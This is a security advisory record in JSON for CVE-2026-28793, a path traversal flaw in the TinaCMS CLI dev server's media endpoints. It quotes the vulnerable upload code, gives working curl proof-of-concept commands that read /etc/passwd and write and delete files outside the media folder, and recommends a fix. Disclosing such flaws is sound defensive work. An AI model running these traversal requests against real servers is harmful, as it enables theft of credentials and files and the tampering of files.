CVE-2026-28793: @tinacms/cli Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f24-mg4x-534q",
  "modified" : "2026-03-12T20:32:26Z",
  "published" : "2026-03-12T20:32:26Z",
  "aliases" : [ "CVE-2026-28793" ],
  "summary" : "TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete",
  "details" : "## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) => {\n      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n      await fs.ensureDir(path.dirname(saveTo));\n      file.pipe(fs.createWriteStream(saveTo));\n    });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n<img width=\"889\" height=\"280\" alt=\"image(1)\" src=\"https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0\" />\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" > /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n  \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n  -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n<img width=\"1320\" height=\"84\" alt=\"image(8)\" src=\"https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c\" />\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" > /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n<img width=\"1135\" height=\"105\" alt=\"image\" src=\"https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca\" />\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28793"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T20:32:26Z",
    "nvd_published_at" : "2026-03-12T17:16:50Z"
  }
}